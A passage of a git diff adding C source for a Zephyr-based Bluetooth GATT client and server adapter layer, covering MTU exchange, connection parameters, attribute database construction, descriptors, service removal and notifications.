exchange MTU failed err: %u", __func__, err); + if_gattc_on_mtu_changed(&addr, 0, BT_STATUS_FAIL); + return; + } + + mtu = bt_gatt_get_mtu(conn); + if_gattc_on_mtu_changed(&addr, mtu, BT_STATUS_SUCCESS); +} + +static struct bt_gatt_exchange_params gatt_exchange_params = { + .func = gatt_exchange_mtu_func, +}; + +bt_status_t bt_sal_gatt_client_send_mtu_req(bt_controller_id_t id, bt_address_t* addr, uint32_t mtu) +{ + int err; + + err = bt_gatt_exchange_mtu(get_le_conn_from_addr(addr), &gatt_exchange_params); + if (err) { + BT_LOGE("%s, exchange MTU failed err: %u", __func__, err); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static void STACK_CALL(update_connection_parameter)(void* args) +{ + sal_adapter_req_t* req = args; + struct bt_conn* conn; + int err; + + conn = get_le_conn_from_addr(&req->addr); + if (!conn) { + BT_LOGE("%s, conn null", __func__); + return; + } + + err = bt_conn_le_param_update(conn, &req->adpt.conn_param); + if (err < 0) { + BT_LOGE("%s, update param failed err:%d", __func__, err); + return; + } +} + +bt_status_t bt_sal_gatt_client_enable(void) +{ + bt_gatt_cb_register(&zblue_gatt_callbacks); + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_gatt_client_disable(void) +{ + bt_gatt_cb_unregister(&zblue_gatt_callbacks); + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_gatt_client_update_connection_parameter(bt_controller_id_t id, bt_address_t* addr, uint32_t min_interval, uint32_t max_interval, uint32_t latency, + uint32_t timeout, uint32_t min_connection_event_length, uint32_t max_connection_event_length) +{ + sal_adapter_req_t* req; + + if (min_interval > max_interval) { + BT_LOGE("%s, min_interval > max_interval", __func__); + return BT_STATUS_PARM_INVALID; + } + + req = sal_adapter_req(id, addr, STACK_CALL(update_connection_parameter)); + if (!req) { + return BT_STATUS_NOMEM; + } + + req->adpt.conn_param.interval_min = min_interval; + req->adpt.conn_param.interval_max = max_interval; + req->adpt.conn_param.latency = latency; + req->adpt.conn_param.timeout = timeout; + + return sal_send_req(req); +} + +bt_status_t bt_sal_gatt_client_read_remote_rssi(bt_controller_id_t id, bt_address_t* addr) +{ + struct bt_conn* conn; + int err; + int8_t rssi; + + conn = get_le_conn_from_addr(addr); + if (!conn) { + BT_LOGE("%s, conn null", __func__); + return BT_STATUS_FAIL; + } + + err = bt_conn_le_read_rssi(conn, &rssi); + if (err) { + BT_LOGE("%s, read rssi failed err:%d", __func__, err) + return BT_STATUS_FAIL; + } + + if_gattc_on_rssi_read(addr, rssi, BT_STATUS_SUCCESS); + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_gatt_client_read_phy(bt_controller_id_t id, bt_address_t* addr) +{ +#ifdef CONFIG_BT_USER_PHY_UPDATE + struct bt_conn* conn; + struct bt_conn_info info; + int err; + ble_phy_type_t tx_mode; + ble_phy_type_t rx_mode; + + conn = get_le_conn_from_addr(addr); + if (!conn) { + BT_LOGE("%s, conn null", __func__); + return BT_STATUS_FAIL; + } + + err = bt_conn_get_info(conn, &info); + if (err) { + BT_LOGE("%s, conn get info err:%d", __func__, err); + return BT_STATUS_FAIL; + } + + tx_mode = le_phy_convert_from_stack(info.le.phy->tx_phy); + rx_mode = le_phy_convert_from_stack(info.le.phy->rx_phy); + + BT_LOGD("%s, tx phy:%d, rx phy:%d", __func__, tx_mode, rx_mode); + if_gattc_on_phy_read(addr, tx_mode, rx_mode); + + return BT_STATUS_SUCCESS; +#else + SAL_NOT_SUPPORT; +#endif +} + +bt_status_t bt_sal_gatt_client_set_phy(bt_controller_id_t id, bt_address_t* addr, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + return bt_sal_le_set_phy(id, addr, tx_phy, rx_phy); +} + +void bt_sal_gatt_client_connection_updated_callback(bt_controller_id_t id, bt_address_t* addr, uint16_t connection_interval, uint16_t peripheral_latency, + uint16_t supervision_timeout, bt_status_t status) +{ + /* Notthing to do, implement within zblue_on_param_updated*/ +} + +void bt_sal_gatt_client_connection_state_changed_callback(bt_controller_id_t id, bt_address_t* addr, profile_connection_state_t state) +{ + if (state == PROFILE_STATE_DISCONNECTED) { + gatt_free_instance(addr); + } + if_gattc_on_connection_state_changed(addr, state); +} + +#endif /* CONFIG_BLUETOOTH_GATT_CLIENT */ \ No newline at end of file diff --git a/service/stacks/zephyr/sal_gatt_server_interface.c b/service/stacks/zephyr/sal_gatt_server_interface.c new file mode 100644 index 0000000000000000000000000000000000000000..bf7fa683443a1b6b1dbe53fd2e3d8f82a8a281f7 --- /dev/null +++ b/service/stacks/zephyr/sal_gatt_server_interface.c @@ -0,0 +1,1109 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdint.h> +#include <stdio.h> + +#include <zephyr/bluetooth/bluetooth.h> +#include <zephyr/bluetooth/conn.h> +#include <zephyr/bluetooth/gatt.h> +#include <zephyr/bluetooth/l2cap.h> +#include <zephyr/bluetooth/uuid.h> + +#include "bluetooth.h" +#include "bt_list.h" +#include "bt_status.h" +#include "gatt_define.h" +#include "gatts_service.h" +#include "sal_adapter_le_interface.h" +#include "sal_interface.h" +#include "service_loop.h" +#include "utils/log.h" + +#ifdef CONFIG_BLUETOOTH_GATT_SERVER + +#ifndef CONFIG_GATT_SERVER_MAX_SERVICES +#define CONFIG_GATT_SERVER_MAX_SERVICES 10 +#endif + +#ifndef CONFIG_GATT_SERVER_MAX_ATTRIBUTES +#define CONFIG_GATT_SERVER_MAX_ATTRIBUTES 30 +#endif + +#define NEXT_DB_ATTR(attr) (attr + 1) +#define LAST_DB_ATTR (server_db + (attr_count - 1)) + +#define GATT_PERM_MASK (BT_GATT_PERM_READ | BT_GATT_PERM_READ_AUTHEN \ + | BT_GATT_PERM_READ_ENCRYPT | BT_GATT_PERM_READ_LESC \ + | BT_GATT_PERM_WRITE | BT_GATT_PERM_WRITE_AUTHEN \ + | BT_GATT_PERM_WRITE_ENCRYPT | BT_GATT_PERM_WRITE_LESC | BT_GATT_PERM_PREPARE_WRITE) + +#define GATT_PERM_ENC_READ_MASK (BT_GATT_PERM_READ_ENCRYPT | BT_GATT_PERM_READ_AUTHEN) +#define GATT_PERM_ENC_WRITE_MASK (BT_GATT_PERM_WRITE_ENCRYPT | BT_GATT_PERM_WRITE_AUTHEN) + +#define GATT_OPS_WRITE_REQUEST 0 +#define GATT_OPS_READ_REQUEST 1 +#define GATT_WRITE_FLAGS_RELIABLE_WRITE (BT_GATT_WRITE_FLAG_PREPARE | BT_GATT_WRITE_FLAG_EXECUTE) + +#define MAKE_REQUEST_ID(handle, op_type) (((uint32_t)(op_type) << 31) | ((handle)&0xFFFF)) +#define REQUEST_ID_HANDLE(id) ((uint16_t)((id)&0xFFFF)) +#define REQUEST_ID_OP_TYPE(id) (((id) >> 31) & 0x1) +#define REQUEST_ID_NORSP ((uint32_t)0xFFFFFFFF) + +#define STACK_CALL(func) zblue_##func + +typedef enum { + GATTS_CB_TYPE_ADDED, + GATTS_CB_TYPE_REMOVED +} sal_gatts_cb_type_t; + +typedef void (*sal_func_t)(void* args); + +union uuid { + struct bt_uuid uuid; + struct bt_uuid_16 u16; + struct bt_uuid_128 u128; +}; + +struct add_descriptor { + uint16_t desc_id; + uint8_t permissions; + uint8_t properties; + const struct bt_uuid* uuid; + gatt_element_t* element; +}; + +struct add_characteristic { + uint16_t char_id; + uint8_t properties; + uint16_t permissions; + const struct bt_uuid* uuid; + uint32_t attr_length; + uint8_t* attr_data; + gatt_element_t* element; +}; + +struct gatt_user_data { + gatt_element_t* element; + uint16_t len; + uint8_t value[]; +}; + +struct gatt_ccc_wrapper { + /** + * NOTE: `ccc` must be the first member! + * This ensures `&wrapper->ccc == (void *)wrapper`, + * so that we can safely cast between `_bt_gatt_ccc*` and `gatt_ccc_wrapper*` + * or free it through `user_data` pointer. + */ + struct _bt_gatt_ccc ccc; + gatt_element_t* element; + uint16_t len; + uint8_t data[0]; +}; + +struct set_value { + const uint8_t* value; + uint16_t len; +}; + +struct gatt_server_context { + bt_address_t* addr; + bt_uuid_t* uuid; + uint8_t* value; + uint16_t length; + struct bt_conn* conn; + gatt_element_t* element; +}; + +typedef union { + bool reason; + + struct { + uint16_t element_id; + uint16_t size; + sal_gatts_cb_type_t type; + } attr_op; +} sal_adapter_args_t; + +typedef struct { + bt_controller_id_t id; + bt_address_t addr; + ble_addr_type_t addr_type; + sal_func_t func; + sal_adapter_args_t adpt; +} sal_adapter_req_t; + +static uint8_t attr_count; +static uint8_t svc_attr_count; +static uint8_t svc_count; + +static struct bt_gatt_service server_svcs[CONFIG_GATT_SERVER_MAX_SERVICES]; +static struct bt_gatt_attr server_db[CONFIG_GATT_SERVER_MAX_ATTRIBUTES]; + +static ssize_t read_value(struct bt_conn* conn, const struct bt_gatt_attr* attr, + void* buf, uint16_t len, uint16_t offset) +{ + bt_address_t addr; + gatt_element_t* element; + uint32_t request_id; + struct gatt_user_data* user_data; + + if (!attr || !attr->user_data) { + BT_LOGE("%s, user_data or context is NULL", __func__); + return BT_GATT_ERR(BT_ATT_ERR_UNLIKELY); + } + + user_data = (struct gatt_user_data*)attr->user_data; + + element = (gatt_element_t*)user_data->element; + if (!element) { + BT_LOGE("%s, element is NULL", __func__); + return BT_GATT_ERR(BT_ATT_ERR_UNLIKELY); + } + + get_le_addr_from_conn(conn, &addr); + + request_id = MAKE_REQUEST_ID(element->handle, GATT_OPS_READ_REQUEST); + if_gatts_on_received_element_read_request(&addr, request_id, element->handle); + + return -EINPROGRESS; +} + +static ssize_t write_value(struct bt_conn* conn, const struct bt_gatt_attr* attr, + const void* buf, uint16_t len, uint16_t offset, uint8_t flags) +{ + bt_address_t addr; + gatt_element_t* element; + uint32_t request_id; + int ret; + struct gatt_user_data* user_data; + + if (!attr || !attr->user_data) { + BT_LOGE("%s, user_data or context is NULL", __func__); + return BT_GATT_ERR(BT_ATT_ERR_UNLIKELY); + } + + user_data = (struct gatt_user_data*)attr->user_data; + + element = (gatt_element_t*)user_data->element; + if (!element) { + BT_LOGE("%s, element is NULL", __func__); + return BT_GATT_ERR(BT_ATT_ERR_UNLIKELY); + } + + if (flags & GATT_WRITE_FLAGS_RELIABLE_WRITE) { + BT_LOGE("%s, reliable write is not supported", __func__); + return BT_GATT_ERR(BT_ATT_ERR_UNLIKELY); + } + + if (flags & BT_GATT_WRITE_FLAG_CMD) { + request_id = REQUEST_ID_NORSP; + ret = len; + } else { + request_id = MAKE_REQUEST_ID(element->handle, GATT_OPS_WRITE_REQUEST); + ret = -EINPROGRESS; + } + + get_le_addr_from_conn(conn, &addr); + + if_gatts_on_received_element_write_request(&addr, request_id, element->handle, (uint8_t*)buf, offset, len); + + return ret; +} + +static struct bt_gatt_attr* gatt_db_add(const struct bt_gatt_attr* pattern, size_t user_data_len) +{ + struct bt_gatt_attr* attr = &server_db[attr_count]; + + if (attr_count >= CONFIG_GATT_SERVER_MAX_ATTRIBUTES) { + BT_LOGE("%s, server_db is full", __func__); + return NULL; + } + + const union uuid* u = CONTAINER_OF(pattern->uuid, union uuid, uuid); + size_t uuid_size = (u->uuid.type == BT_UUID_TYPE_16) ? sizeof(u->u16) : sizeof(u->u128); + + memcpy(attr, pattern, sizeof(*attr)); + + attr->uuid = malloc(uuid_size); + if (!attr->uuid) { + BT_LOGE("%s, uuid malloc failed", __func__); + return NULL; + } + memcpy((void*)attr->uuid, &u->uuid, uuid_size); + + if (user_data_len == 0) { + attr->user_data = pattern->user_data; + } else { + attr->user_data = malloc(user_data_len); + if (!attr->user_data) { + BT_LOGE("%s, user_data malloc failed", __func__); + free((void*)attr->uuid); + attr->uuid = NULL; + return NULL; + } + memcpy(attr->user_data, pattern->user_data, user_data_len); + } + + BT_LOGD("user_data 0x%p, user_data_len: %zu", attr->user_data, user_data_len); + + attr_count++; + svc_attr_count++; + + return attr; +} + +static bt_status_t register_service(void) +{ + int err; + + server_svcs[svc_count].attrs = server_db + (attr_count - svc_attr_count); + server_svcs[svc_count].attr_count = svc_attr_count; + + err = bt_gatt_service_register(&server_svcs[svc_count]); + if (err) { + BT_LOGD("%s, gatt service register", __func__); + return BT_STATUS_FAIL; + } + + svc_count++; + + svc_attr_count = 0U; + return BT_STATUS_SUCCESS; +} + +static void add_service(gatt_element_t* element) +{ + struct bt_gatt_attr* attr_svc; + union uuid u; + size_t size; + + if (!bt_uuid_create(&u.uuid, (uint8_t*)&element->uuid.val, element->uuid.type)) { + BT_LOGE("%s, uuid convert fail", __func__); + return; + } + + size = u.uuid.type == BT_UUID_TYPE_16 ? sizeof(u.u16) : sizeof(u.u128); + if (svc_attr_count) { + if (register_service()) { + BT_LOGE("%s, register service fail", __func__); + return; + } + } + + switch (element->type) { + case GATT_PRIMARY_SERVICE: + attr_svc = gatt_db_add(&(struct bt_gatt_attr)BT_GATT_PRIMARY_SERVICE(&u.uuid), size); + break; + case GATT_SECONDARY_SERVICE: + attr_svc = gatt_db_add(&(struct bt_gatt_attr)BT_GATT_SECONDARY_SERVICE(&u.uuid), size); + break; + default: + attr_svc = NULL; + break; + } + + if (!attr_svc) { + svc_count--; + BT_LOGE("%s, attr_svc is null", __func__); + return; + } +} + +static int alloc_characteristic(struct add_characteristic* ch) +{ + struct bt_gatt_attr *attr_chrc, *attr_value; + struct bt_gatt_chrc* chrc_data; + struct gatt_user_data user_data = { 0 }; + + /* Add Characteristic Declaration */ + attr_chrc = gatt_db_add(&(struct bt_gatt_attr)BT_GATT_ATTRIBUTE(BT_UUID_GATT_CHRC, BT_GATT_PERM_READ, bt_gatt_attr_read_chrc, NULL, (&(struct bt_gatt_chrc) {})), sizeof(*chrc_data)); + if (!attr_chrc) { + return -EINVAL; + } + + if (!attr_chrc) { + BT_LOGE("%s, attr_chrc allocation failed", __func__); + return -EINVAL; + } + + user_data.element = ch->element; + + attr_value = gatt_db_add(&(struct bt_gatt_attr)BT_GATT_ATTRIBUTE(ch->uuid, ch->permissions & GATT_PERM_MASK, read_value, write_value, &user_data), sizeof(user_data)); + if (!attr_value) { + BT_LOGE("%s, attr_value allocation failed", __func__); + return -EINVAL; + } + + chrc_data = attr_chrc->user_data; + chrc_data->properties = ch->properties; + chrc_data->uuid = attr_value->uuid; + + ch->char_id = attr_chrc->handle; + return 0; +} + +static uint16_t covert_gatt_permission(uint16_t elem_perm) +{ + int chr_perm = 0; + + if (elem_perm & GATT_PERM_READ) { + chr_perm |= BT_GATT_PERM_READ; + if (elem_perm & GATT_PERM_AUTHEN_REQUIRED) { + chr_perm |= BT_GATT_PERM_READ_AUTHEN; + } + if (elem_perm & GATT_PERM_ENCRYPT_REQUIRED) { + chr_perm |= BT_GATT_PERM_READ_ENCRYPT; + } + if (elem_perm & GATT_PERM_MITM_REQUIRED) { + chr_perm |= BT_GATT_PERM_READ_LESC; + } + } + + if (elem_perm & GATT_PERM_WRITE) { + chr_perm |= BT_GATT_PERM_WRITE; + if (elem_perm & GATT_PERM_AUTHEN_REQUIRED) { + chr_perm |= BT_GATT_PERM_WRITE_AUTHEN; + } + if (elem_perm & GATT_PERM_ENCRYPT_REQUIRED) { + chr_perm |= BT_GATT_PERM_WRITE_ENCRYPT; + } + if (elem_perm & GATT_PERM_MITM_REQUIRED) { + chr_perm |= BT_GATT_PERM_WRITE_LESC; + } + } + + return chr_perm; +} + +static void add_characteristic(gatt_element_t* element) +{ + struct add_characteristic chr = { 0 }; + union uuid u = { 0 }; + + if (!bt_uuid_create(&u.uuid, (uint8_t*)&element->uuid.val, element->uuid.type)) { + BT_LOGE("%s, uuid convert fail", __func__); + return; + } + + chr.permissions = covert_gatt_permission(element->permissions); + chr.properties = element->properties; + chr.uuid = &u.uuid; + chr.attr_length = element->attr_length; + chr.attr_data = element->attr_data; + chr.element = element; + + if (alloc_characteristic(&chr)) { + BT_LOGE("%s, alloc characteristic fail", __func__); + return; + } +} + +static ssize_t bt_sal_on_ccc_written(struct bt_conn* conn, const struct bt_gatt_attr* attr, + const void* buf, uint16_t len, uint16_t offset, uint8_t flags) +{ + bt_address_t addr; + struct gatt_ccc_wrapper* wrapper; + struct _bt_gatt_ccc* ccc; + gatt_element_t* element; + uint16_t value; + ssize_t ret; + uint8_t index; + + ret = bt_gatt_attr_write_ccc(conn, attr, buf, len, offset, flags); + + if (ret < 0) + return ret; + + ccc = (struct _bt_gatt_ccc*)attr->user_data; + + wrapper = CONTAINER_OF(ccc, struct gatt_ccc_wrapper, ccc); + element = wrapper->element; + + index = bt_conn_index(conn); + if (index >= CONFIG_BT_MAX_CONN) { + BT_LOGE("%s, invalid conn index = %u", __func__, index); + return -EINVAL; + } + + value = ccc->cfg[index].value; + + get_le_addr_from_conn(conn, &addr); + + if_gatts_on_received_element_write_request(&addr, GATT_OPS_WRITE_REQUEST, + element->handle, (uint8_t*)&value, 0, sizeof(value)); + + return ret; +} + +static int alloc_descriptor(const struct bt_gatt_attr* attr, struct add_descriptor* desc) +{ + struct bt_gatt_attr* attr_desc; + struct gatt_ccc_wrapper* ccc_wrapper; + struct bt_gatt_chrc* chrc = attr->user_data; + struct _bt_gatt_ccc* ccc; + + if (bt_uuid_cmp(desc->uuid, BT_UUID_GATT_CCC)) { + BT_LOGE("%s uuid not match", __func__); + return -EINVAL; + } + + if (!(chrc->properties & (BT_GATT_CHRC_NOTIFY | BT_GATT_CHRC_INDICATE))) { + BT_LOGE("%s, invald properties:0x%0x", __func__, chrc->properties); + return -EINVAL; + } + + /* This memory is freed in remove_service() via attr->user_data */ + ccc_wrapper = zalloc(sizeof(struct gatt_ccc_wrapper)); + if (!ccc_wrapper) { + BT_LOGE("%s, wrapper alloc failed", __func__); + return -ENOMEM; + } + + ccc = &ccc_wrapper->ccc; + ccc_wrapper->element = desc->element; + + attr_desc = gatt_db_add( + &(struct bt_gatt_attr) { + .uuid = BT_UUID_GATT_CCC, + .perm = desc->permissions & GATT_PERM_MASK, + .read = bt_gatt_attr_read_ccc, + .write = bt_sal_on_ccc_written, + .user_data = ccc }, + 0); + + if (!attr_desc) { + free(ccc_wrapper); + BT_LOGE("%s attr_desc null", __func__); + return -EINVAL; + } + + desc->desc_id = attr_desc->handle; + return 0; +} + +static struct bt_gatt_attr* get_base_chrc(struct bt_gatt_attr* attr) +{ + struct bt_gatt_attr* tmp; + + for (tmp = attr; tmp > server_db; tmp--) { + if (!bt_uuid_cmp(tmp->uuid, BT_UUID_GATT_PRIMARY) || !bt_uuid_cmp(tmp->uuid, BT_UUID_GATT_SECONDARY)) { + break; + } + + if (!bt_uuid_cmp(tmp->uuid, BT_UUID_GATT_CHRC)) { + return tmp; + } + } + + return NULL; +} + +static void add_descriptor(gatt_element_t* element) +{ + struct add_descriptor desc = { 0 }; + struct bt_gatt_attr* chrc; + union uuid u; + + if (!bt_uuid_create(&u.uuid, (uint8_t*)&element->uuid.val, element->uuid.type)) { + BT_LOGE("%s, uuid convert fail", __func__); + return; + } + + desc.permissions = covert_gatt_permission(element->permissions); + desc.properties = element->properties; + desc.uuid = &u.uuid; + desc.element = element; + + chrc = get_base_chrc(LAST_DB_ATTR); + if (!chrc) { + BT_LOGE("%s, get base chrc fail", __func__); + return; + } + + if (alloc_descriptor(chrc, &desc)) { + BT_LOGE("%s, alloc descriptor fail", __func__); + return; + } +} + +static void zblue_gatts_mtu_updated_callback(struct bt_conn* conn, uint16_t tx, uint16_t rx) +{ + bt_address_t addr; + uint16_t att_mtu = MIN(tx, rx); + uint16_t att_payload = (att_mtu >= 23) ? (att_mtu - 3) : 20; + + get_le_addr_from_conn(conn, &addr); + if_gatts_on_mtu_changed(&addr, att_payload); +} + +static struct bt_gatt_cb zblue_gatt_callbacks = { + .att_mtu_updated = zblue_gatts_mtu_updated_callback +}; + +static sal_adapter_req_t* sal_adapter_req(bt_controller_id_t id, bt_address_t* addr, sal_func_t func) +{ + sal_adapter_req_t* req = calloc(sizeof(sal_adapter_req_t), 1); + + if (req) { + req->id = id; + req->func = func; + if (addr) + memcpy(&req->addr, addr, sizeof(bt_address_t)); + } + + return req; +} + +static void sal_invoke_async(service_work_t* work, void* userdata) +{ + sal_adapter_req_t* req = userdata; + + SAL_ASSERT(req); + req->func(req); + free(userdata); +} + +static bt_status_t sal_send_req(sal_adapter_req_t* req) +{ + if (!req) { + BT_LOGE("%s, req null", __func__); + return BT_STATUS_PARM_INVALID; + } + + if (!service_loop_work((void*)req, sal_invoke_async, NULL)) { + BT_LOGE("%s, service_loop_work failed", __func__); + free(req); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static void sal_gatts_elements_callback(void* args) +{ + sal_adapter_req_t* req = args; + if (!args) + return; + + switch (req->adpt.attr_op.type) { + case GATTS_CB_TYPE_ADDED: + if_gatts_on_elements_added(BT_STATUS_SUCCESS, req->adpt.attr_op.element_id, req->adpt.attr_op.size); + break; + case GATTS_CB_TYPE_REMOVED: + if_gatts_on_elements_removed(BT_STATUS_SUCCESS, req->adpt.attr_op.element_id, req->adpt.attr_op.size); + break; + default: + break; + } +} + +bt_status_t bt_sal_gatt_server_enable(void) +{ + bt_gatt_cb_register(&zblue_gatt_callbacks); + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_gatt_server_disable(void) +{ + bt_gatt_cb_unregister(&zblue_gatt_callbacks); + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_gatt_server_add_elements(gatt_element_t* elements, uint16_t size) +{ + size_t index; + bt_status_t status; + sal_adapter_req_t* req; + + if (!elements || size == 0) + return BT_STATUS_PARM_INVALID; + + for (index = 0; index < size; index++) { + switch (elements[index].type) { + case GATT_PRIMARY_SERVICE: + case GATT_SECONDARY_SERVICE: + add_service(&elements[index]); + break; + case GATT_CHARACTERISTIC: + add_characteristic(&elements[index]); + break; + case GATT_DESCRIPTOR: + add_descriptor(&elements[index]); + break; + default: + BT_LOGE("%s, unsupported type: %d", __func__, elements[index].type); + break; + } + } + + req = calloc(1, sizeof(sal_adapter_req_t)); + if (!req) + return BT_STATUS_NOMEM; + + status = register_service(); + if (status != BT_STATUS_SUCCESS) { + free(req); + return status; + } + + req->func = sal_gatts_elements_callback; + req->adpt.attr_op.element_id = elements[0].handle; + req->adpt.attr_op.size = size; + req->adpt.attr_op.type = GATTS_CB_TYPE_ADDED; + + return sal_send_req((void*)req); +} + +static struct bt_gatt_service* get_primary_service_from_element(gatt_element_t* element) +{ + struct bt_gatt_service* srv; + union uuid u; + + if (element->type != GATT_PRIMARY_SERVICE) { + return NULL; + } + + if (!bt_uuid_create(&u.uuid, (uint8_t*)&element->uuid.val, element->uuid.type)) { + BT_LOGE("%s, uuid convert fail", __func__); + return NULL; + } + + for (srv = server_svcs; srv < server_svcs + CONFIG_GATT_SERVER_MAX_SERVICES; srv++) { + if (!srv->attrs) { + continue; + } + if (!bt_uuid_cmp(srv->attrs[0].uuid, BT_UUID_GATT_PRIMARY)) { + const struct bt_uuid* svc_uuid = (const struct bt_uuid*)srv->attrs[0].user_data; + if (svc_uuid && !bt_uuid_cmp(svc_uuid, &u.uuid)) { + return srv; + } + } + } + + BT_LOGE("%s", __func__); + return NULL; +} + +static void remove_service(gatt_element_t* element) +{ + size_t i, count, index; + struct bt_gatt_attr* start; + struct bt_gatt_service* svc = get_primary_service_from_element(element); + if (!svc) { + BT_LOGW("%s, service not found", __func__); + return; + } + + bt_gatt_service_unregister(svc); + + start = svc->attrs; + count = svc->attr_count; + index = start - server_db; + + for (i = 0; i < count; i++) { + free(start[i].user_data); + free((void*)start[i].uuid); + } + + if (index + count < attr_count) { + memmove(&server_db[index], &server_db[index + count], + (attr_count - index - count) * sizeof(struct bt_gatt_attr)); + } + + memset(&server_db[attr_count - count], 0, count * sizeof(struct bt_gatt_attr)); + attr_count -= count; + + for (i = 0; i < svc_count; i++) { + struct bt_gatt_service* s = &server_svcs[i]; + if (!s->attrs) { + continue; + } + + if (s->attrs > start) { + s->attrs -= count; + } + } + + svc->attrs = NULL; + svc->attr_count = 0; + svc_count--; + + BT_LOGD("%s, removed service at index %zu, attr_count now %u", __func__, index, attr_count); +} + +bt_status_t bt_sal_gatt_server_remove_elements(gatt_element_t* elements, uint16_t size) +{ + if (!elements || size == 0) + return BT_STATUS_PARM_INVALID; + + uint16_t i; + sal_adapter_req_t* req; + char uuid_str[40]; + + req = calloc(1, sizeof(sal_adapter_req_t)); + if (!req) + return BT_STATUS_NOMEM; + + for (i = 0; i < size; i++) { + switch (elements[i].type) { + case GATT_PRIMARY_SERVICE: + remove_service(&elements[i]); + break; + default: + bt_uuid_to_string(&elements[i].uuid, uuid_str, sizeof(uuid_str)); + BT_LOGW("%s, unknown type %d, uuid=%s", __func__, elements[i].type, uuid_str); + break; + } + } + + req->func = sal_gatts_elements_callback; + req->adpt.attr_op.element_id = elements[0].handle; + req->adpt.attr_op.size = size; + req->adpt.attr_op.type = GATTS_CB_TYPE_REMOVED; + + return sal_send_req((void*)req); +} + +static void STACK_CALL(conn_connect)(void* args) +{ + sal_adapter_req_t* req = args; + bt_addr_le_t address = { 0 }; + struct bt_conn* conn = NULL; + int err; + + if (le_conn_set_role(&req->addr, GATT_ROLE_SERVER) != BT_STATUS_SUCCESS) { + return; + } + + address.type = req->addr_type; + memcpy(&address.a, &req->addr, sizeof(address.a)); + + err = bt_conn_le_create(&address, BT_CONN_LE_CREATE_CONN, BT_LE_CONN_PARAM_DEFAULT, &conn); + if (err) { + le_conn_remove(&req->addr); + BT_LOGE("%s, failed to create connection (%d)", __func__, err); + return; + } +} + +bt_status_t bt_sal_gatt_server_connect(bt_controller_id_t id, bt_address_t* addr, ble_addr_type_t addr_type) +{ + sal_adapter_req_t* req; + uint8_t type; + + req = sal_adapter_req(id, addr, STACK_CALL(conn_connect)); + if (!req) { + BT_LOGE("%s, req null", __func__); + return BT_STATUS_NOMEM; + } + + switch (addr_type) { + case BT_LE_ADDR_TYPE_PUBLIC: + type = BT_ADDR_LE_PUBLIC; + break; + case BT_LE_ADDR_TYPE_RANDOM: + type = BT_ADDR_LE_RANDOM; + break; + case BT_LE_ADDR_TYPE_PUBLIC_ID: + type = BT_ADDR_LE_PUBLIC_ID; + break; + case BT_LE_ADDR_TYPE_RANDOM_ID: + type = BT_ADDR_LE_RANDOM_ID; + break; + case BT_LE_ADDR_TYPE_ANONYMOUS: + type = BT_ADDR_LE_ANONYMOUS; + break; + case BT_LE_ADDR_TYPE_UNKNOWN: + type = BT_ADDR_LE_RANDOM; + break; + default: + BT_LOGE("%s, invalid type:%d", __func__, addr_type); + assert(0); + } + + BT_LOGD("%s, addr_type:%d, type:%d", __func__, addr_type, type); + req->addr_type = type; + + return sal_send_req(req); +} + +static void STACK_CALL(conn_cancel)(void* args) +{ + sal_adapter_req_t* req = args; + struct bt_conn* conn; + int err; + + conn = get_le_conn_from_addr(&req->addr); + if (!conn) { + BT_LOGE("%s, conn null", __func__); + return; + } + + err = bt_conn_disconnect(conn, BT_HCI_ERR_REMOTE_USER_TERM_CONN); + if (err) { + BT_LOGE("%s, disconnect fail err:%d", __func__, err); + return; + } +} + +bt_status_t bt_sal_gatt_server_cancel_connection(bt_controller_id_t id, bt_address_t* addr) +{ + sal_adapter_req_t* req; + + req = sal_adapter_req(id, addr, STACK_CALL(conn_cancel)); + if (!req) { + BT_LOGE("%s, req null", __func__); + return BT_STATUS_NOMEM; + } + + return sal_send_req(req); +} + +bt_status_t bt_sal_gatt_server_send_response(bt_controller_id_t id, bt_address_t* addr, uint32_t request_id, uint8_t* value, uint16_t length) +{ + struct bt_conn* conn; + uint16_t handle; + uint8_t op_type; + int err; + if (!addr || request_id == REQUEST_ID_NORSP) { + return BT_STATUS_PARM_INVALID; + } + conn = get_le_conn_from_addr(addr); + if (!conn) { + return BT_STATUS_NOT_FOUND; + } + handle = REQUEST_ID_HANDLE(request_id); + op_type = REQUEST_ID_OP_TYPE(request_id); + switch (op_type) { + case GATT_OPS_READ_REQUEST: + if (!value) { + return BT_STATUS_PARM_INVALID; + } + err = bt_gatt_send_read_rsp(conn, 0, handle, value, length); + break; + case GATT_OPS_WRITE_REQUEST: + err = bt_gatt_send_write_rsp(conn, 0, handle); + break; + default: + return BT_STATUS_UNSUPPORTED; + } + return (!err) ? BT_STATUS_SUCCESS : BT_STATUS_FAIL; +} + +static void send_notification_result(struct bt_conn* conn, void* user_data) +{ + gatt_element_t* element = (gatt_element_t*)user_data; + bt_address_t addr; + + if (!element) { + BT_LOGE("%s, element is NULL", __func__); + return; + } + + get_le_addr_from_conn(conn, &addr); + + if_gatts_on_notification_sent(&addr, element->handle, GATT_STATUS_SUCCESS); +} + +static uint8_t gatt_send_notification(const struct bt_gatt_attr* attr, uint16_t handle, void* user_data) +{ + struct gatt_server_context* context = user_data; + struct bt_gatt_notify_params params; + union uuid u; + + if (!bt_uuid_create(&u.uuid, (uint8_t*)&context->uuid->val, context->uuid->type)) { + BT_LOGE("%s, uuid convert fail", __func__); + return BT_GATT_ITER_STOP; + } + + if (bt_uuid_cmp(attr->uuid, &u.uuid)) { + return BT_GATT_ITER_CONTINUE; + } + + memset(¶ms, 0, sizeof(params)); + + params.attr = attr; + params.data = context->value; + params.len = context->length; + params.func = send_notification_result; + params.user_data = context->element; +#if defined(CONFIG_BT_EATT) + params.chan_opt = BT_ATT_CHAN_OPT_NONE; +#endif /* CONFIG_BT_EATT */ 